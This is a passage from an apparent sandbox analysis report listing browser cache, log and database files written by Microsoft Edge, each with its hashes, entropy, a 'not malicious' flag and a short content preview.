Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299
Entropy (8bit):	5.138621347628786
Encrypted:	false
SSDEEP:	6:iOXuobARx4M1923oH+TcwtE/a252KLl1uowq2P923oH+TcwtE/a2ZIFUv:7vkn4hYeb8xLbwv4Yeb8J2FUv
MD5:	5F9FED501F7E4BF109F1576333B9B3A9
SHA1:	B3398410D37DC0CB354119069C4B5160AA9EAAA9
SHA-256:	E854D433CDFA575B35E9E021C48D4FAEED1857D4F226E147A88AB7C0E924ACA0
SHA-512:	B6B7CE4DBCD2F70562A2064604E65C60477BA1F97D2E8AB41F29D71C190431E9EC7FC3771EE7E95D6CDE65A2862D98F4754416C07874B729A61B4DF8FFDCA668
Malicious:	false
Preview:	2025/02/25-19:49:22.083 1e44 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2025/02/25-19:49:22.101 1e44 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	115602
Entropy (8bit):	5.577249453246543
Encrypted:	false
SSDEEP:	1536:eP906yxPXfO7r1fMCe1HL/Now9YCjtVNTVeSvUW+K5M:Y9LyxPXfO7r1f7e1HL/z9YqCSMi5M
MD5:	3FC65ED28A17CD1F1A60813CB9E918EA
SHA1:	6E044CE07F5D3E1E6A707A551E296BBCD1BE456A
SHA-256:	D0E1F30E6692357FD66C68BFF337F31031CD3CC37C0423BCA15802CE735B34EA
SHA-512:	A4B515BBB7E822DCB72F5BAC62063BA119AD4196AA562F085A1A5395A17644293182FC6DAA2412C5BF67C6B3B08A76397CD570EC0B1592A0862B71EE2EBF9E48
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	190961
Entropy (8bit):	6.389505900541081
Encrypted:	false
SSDEEP:	3072:vGhHUsujs9wv1EDVveoyL/VKjUCybIqnZ43AjU7hG:G9wt4ZexL/K0ILQQ7hG
MD5:	8B1BA9B1E01D9AE7EB97D6E4C2A65D3E
SHA1:	6EEB5169EB105F08174EC48C3A9ECA2D34A8041B
SHA-256:	A58AF406A00731EFF363DFEACA90853F6A1240CE1605E410CD10EA0F5F3D1228
SHA-512:	09B1736F755313E905A9F64CDAE51268CCB43B31440AE40E2DA082D4B8BB09AC7EDEB88A6B1622B6D7BCBAD34513E25CC892A3150D859D48D482F7B281B4D551
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;.....x..........,T.8..`,.....L`.....,T...`......L`......RcN'.K....exports...RcZ.......module....RcR.~.....define....Rb6......amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H........Q.....N.{...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true.a........Db............D`.....A..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....>c...,T.`.`z.....L`..........a............a.........Dr8..............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:IUKaXl/lF/lxEstll5en:IUKCms6n
MD5:	A8345257D1AD3E565AD13589F393B136
SHA1:	E013322F05436E7EBBD80D1DDE005BC1F32A0C58
SHA-256:	6982A19997103620BCF93C5683CDA04BCBEE5E4BD253187872BD360FBC577220
SHA-512:	EEE6CAA7778B0F82A80A4DBB5FE45507F650160A580B8B6235DF577D276BC8B930F18F376EF9B9DCA8459BB196B3FCE91F98E3566BAF887F1688A6F4AFEC2184
Malicious:	false
Preview:	@...=.qoy retne.........................X....,................6?M:../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:IUKaXl/lF/lxEstll5en:IUKCms6n
MD5:	A8345257D1AD3E565AD13589F393B136
SHA1:	E013322F05436E7EBBD80D1DDE005BC1F32A0C58
SHA-256:	6982A19997103620BCF93C5683CDA04BCBEE5E4BD253187872BD360FBC577220
SHA-512:	EEE6CAA7778B0F82A80A4DBB5FE45507F650160A580B8B6235DF577D276BC8B930F18F376EF9B9DCA8459BB196B3FCE91F98E3566BAF887F1688A6F4AFEC2184
Malicious:	false
Preview:	@...=.qoy retne.........................X....,................6?M:../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF439e8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:IUKaXl/lF/lxEstll5en:IUKCms6n
MD5:	A8345257D1AD3E565AD13589F393B136
SHA1:	E013322F05436E7EBBD80D1DDE005BC1F32A0C58
SHA-256:	6982A19997103620BCF93C5683CDA04BCBEE5E4BD253187872BD360FBC577220
SHA-512:	EEE6CAA7778B0F82A80A4DBB5FE45507F650160A580B8B6235DF577D276BC8B930F18F376EF9B9DCA8459BB196B3FCE91F98E3566BAF887F1688A6F4AFEC2184
Malicious:	false
Preview:	@...=.qoy retne.........................X....,................6?M:../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	7247
Entropy (8bit):	3.3810423111405394
Encrypted:	false
SSDEEP:	192:KrofxNm54Jgi0V9DmYHJ++Vhp+SKiHzzlU2J0/gtcD91O:EofxNm54Jgi4p+xC+2m/gtYO
MD5:	6379D7883FCB35C6B6068C7C1ECF5B32
SHA1:	10C71D71733D7E7A2E506D47CB7F990C8A8D90BB
SHA-256:	4C121015BC6BDAA117650D90A78DE5319839B78A847B434CF4D104DF4A2757C5
SHA-512:	251F1C5EA6C9B8C49DE5B22104A46D96D438BA085DFDD01A299EA18A96C3CA076317CAD52FCFA014F32B5FFDF4A4056D7C1E5779AD4380CABD67E27E63B02658
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f.................R-b................next-map-id.1.Cnamespace-a4144a04_fa12_4a13_a7d2_2a866cdfa422-https://ntp.msn.com/.0HD...................map-0-shd_sweeper.5{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.f.i.n.-.c.o.m.p.o.f.,.p.r.g.-.f.i.n.-.h.p.o.f.l.i.o.,.p.r.g.-.f.i.n.-.p.o.f.l.i.o.,.p.r.g.-.1.s.-.t.p.s.n.s.r.p.m.s.n.-.t.,.p.r.g.-.1.s.-.t.p.s.n.t.h.s.r.p.m.s.n.,.p.r.g.-.1.s.w.-.c.c.-.c.a.l.f.b.v.c.,.p.r.g.-.1.s.w.-.s.a.-.c.a.l.f.b.v.c.,.p.r.g.-.m.s.n.-.b.l.s.b.i.d.m.h.o.,.c.-.p.r.g.-.c.h.-.l.s.b.t.w.k.1.,.p.r.g.-.1.s.-.l.c.k.t.d.2.-.t.,.1.s.-.b.w.o.s.c.a.c.h.e.,.1.s.-.c.h.-.t.r.v.l.t.1.,.1.s.-.e.n.t.r.v.l.l.s.,.1.s.-.p.1.-.b.i.n.g.w.i.d.g.e.t.s.,.1.s.-.p.1.-.t.r.v.l.l.s.t.1.,.1.s.-.p.2.-.b.i.n.g.w.i.d.g.e.t.s.,.1.s.-.p.2.-.t.r.v.l.l.s.t.1.,.1.s.-.w.p.o.-.l.o.c.k.-.t.r.v.l.2.,.p.r.g.-.1.s.w.-.s.a.q.c.l.i.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.116483834243357
Encrypted:	false
SSDEEP:	6:iOXuo9lDQ+q2P923oH+TcwtrQMxIFUtFuo9XuDdWZmw7uoUQVkwO923oH+Tcwtrb:7v9i+v4YebCFUtl9+BW/bhV5LYebtJ
MD5:	00F891FD7E3B77BEA27A52F6CB056F2D
SHA1:	8982E66BD1308E33C9B43857BBB5096A03FD544F
SHA-256:	3914F5C57C74A60F5F7C66E50A4A8DD3F28B329BF52FE7F4EB9A8F14D9ED7B74
SHA-512:	5FF7DB89A28ECD40CF17060D5134E7256464C54D6BFF3E86E1CAA6A7FFB42671159B3F785FC03724726A0251D9A55817E7132362D8ACA55525E38D88406071B3
Malicious:	false
Preview:	2025/02/25-19:49:14.501 1c3c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2025/02/25-19:49:14.502 1c3c Recovering log #3.2025/02/25-19:49:14.511 1c3c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.116483834243357
Encrypted:	false
SSDEEP:	6:iOXuo9lDQ+q2P923oH+TcwtrQMxIFUtFuo9XuDdWZmw7uoUQVkwO923oH+Tcwtrb:7v9i+v4YebCFUtl9+BW/bhV5LYebtJ
MD5:	00F891FD7E3B77BEA27A52F6CB056F2D
SHA1:	8982E66BD1308E33C9B43857BBB5096A03FD544F
SHA-256:	3914F5C57C74A60F5F7C66E50A4A8DD3F28B329BF52FE7F4EB9A8F14D9ED7B74
SHA-512:	5FF7DB89A28ECD40CF17060D5134E7256464C54D6BFF3E86E1CAA6A7FFB42671159B3F785FC03724726A0251D9A55817E7132362D8ACA55525E38D88406071B3
Malicious:	false
Preview:	2025/02/25-19:49:14.501 1c3c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2025/02/25-19:49:14.502 1c3c Recovering log #3.2025/02/25-19:49:14.511 1c3c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13385004556207272

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.7394289081854866
Encrypted:	false
SSDEEP:	24:3ralBNcLJSyeXrpsAF4unxstLp3X2amEtG1ChqZLNbi3QKkOAM4h:3radfLrzF6Lp2FEkChMbigHOp6
MD5:	5430336F4B33C337047016C9285AFA5C
SHA1:	1EF3A51F31AC43C7519CCDCFBD6446F7C306027D
SHA-256:	35D2CC4105E68E0F7B7B8DB439444B408F0AF2D833E124EC58577FC9E6153386
SHA-512:	E1D9649507F4044E40FBC1EEF71AC38F18C36FF191E701C4DBD35C2801DF48E3C73BF29B8AAE3D5EB36A316F2E02022DEA940C6559FA2B84796376280493049B
Malicious:	false
Preview:	SNSS..........6..............6......"...6..............6..........6..........6..........6....!.....6..................................6...61..,......6$...a4144a04_fa12_4a13_a7d2_2a866cdfa422......6..........6....f.............6......6..........................6....................5..0......6&...{98952893-68FF-4A5D-A164-705C709ED3DB}........6..........6..............6........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.........V../....V../.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8....................................................................... ..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	349
Entropy (8bit):	5.1757582816661305
Encrypted:	false
SSDEEP:	6:iOXuoHe+q2P923oH+Tcwt7Uh2ghZIFUtFuoHx5Zmw7uoHxtVkwO923oH+Tcwt7UT:7vHPv4YebIhHh2FUtlHx5/bHxT5LYebs
MD5:	5B19DC733584B9F64BAFBC8DFC09DA58
SHA1:	28550E5ACF49DD20053955065498DA7CDD27ACD8
SHA-256:	CA25BBD3CFAD8FD801EAF2EC4A633B12C9D7AAC8957AAB8C92C983C03190934F
SHA-512:	FDE01A666924B0EBE50C1FE9CF4A428D12AE9BDAC881656385E26E75EE7587B9FE6F6AA748795B60856B524D0718C15001D98F518DCE0A7F4195A5751E8514C9
Malicious:	false
Preview:	2025/02/25-19:49:13.692 9c8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2025/02/25-19:49:13.693 9c8 Recovering log #3.2025/02/25-19:49:13.693 9c8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	349
Entropy (8bit):	5.1757582816661305
Encrypted:	false
SSDEEP:	6:iOXuoHe+q2P923oH+Tcwt7Uh2ghZIFUtFuoHx5Zmw7uoHxtVkwO923oH+Tcwt7UT:7vHPv4YebIhHh2FUtlHx5/bHxT5LYebs
MD5:	5B19DC733584B9F64BAFBC8DFC09DA58
SHA1:	28550E5ACF49DD20053955065498DA7CDD27ACD8
SHA-256:	CA25BBD3CFAD8FD801EAF2EC4A633B12C9D7AAC8957AAB8C92C983C03190934F
SHA-512:	FDE01A666924B0EBE50C1FE9CF4A428D12AE9BDAC881656385E26E75EE7587B9FE6F6AA748795B60856B524D0718C15001D98F518DCE0A7F4195A5751E8514C9
Malicious:	false
Preview:	2025/02/25-19:49:13.692 9c8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2025/02/25-19:49:13.693 9c8 Recovering log #3.2025/02/25-19:49:13.693 9c8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.233269977922705
Encrypted:	false
SSDEEP:	6:iOXuoS3q2P923oH+TcwtzjqEKj3K/2jMGIFUtFuoGZmw7uo2kwO923oH+Tcwtzjk:7vS3v4YebvqBQFUtlG/b25LYebvqBvJ
MD5:	80E38C4150C2DB1651F7965357D906F0
SHA1:	760F4D2C09D0A6492862CA2DF07B4EB3D9B1E2F2
SHA-256:	12BE8342141E5E46C207DB190F3C658E841C861E91672CDD0AA2E0A1CB930365
SHA-512:	F5E469C9E55249740AF53A1F9468EF9627070FE160C163FC16F4C7228D0FB8D823A42E8D0DA4087207C48F14811ECB9545A7DE12378A7CA567B184F43F8F5773
Malicious:	false
Preview:	2025/02/25-19:49:14.512 1d60 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2025/02/25-19:49:14.515 1d60 Recovering log #3.2025/02/25-19:49:14.519 1d60 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.233269977922705
Encrypted:	false
SSDEEP:	6:iOXuoS3q2P923oH+TcwtzjqEKj3K/2jMGIFUtFuoGZmw7uo2kwO923oH+Tcwtzjk:7vS3v4YebvqBQFUtlG/b25LYebvqBvJ
MD5:	80E38C4150C2DB1651F7965357D906F0
SHA1:	760F4D2C09D0A6492862CA2DF07B4EB3D9B1E2F2
SHA-256:	12BE8342141E5E46C207DB190F3C658E841C861E91672CDD0AA2E0A1CB930365
SHA-512:	F5E469C9E55249740AF53A1F9468EF9627070FE160C163FC16F4C7228D0FB8D823A42E8D0DA4087207C48F14811ECB9545A7DE12378A7CA567B184F43F8F5773
Malicious:	false
Preview:	2025/02/25-19:49:14.512 1d60 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2025/02/25-19:49:14.515 1d60 Recovering log #3.2025/02/25-19:49:14.519 1d60 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\0960f79f-ae34-49a8-9c4a-c0b83a876657.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3e9b5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
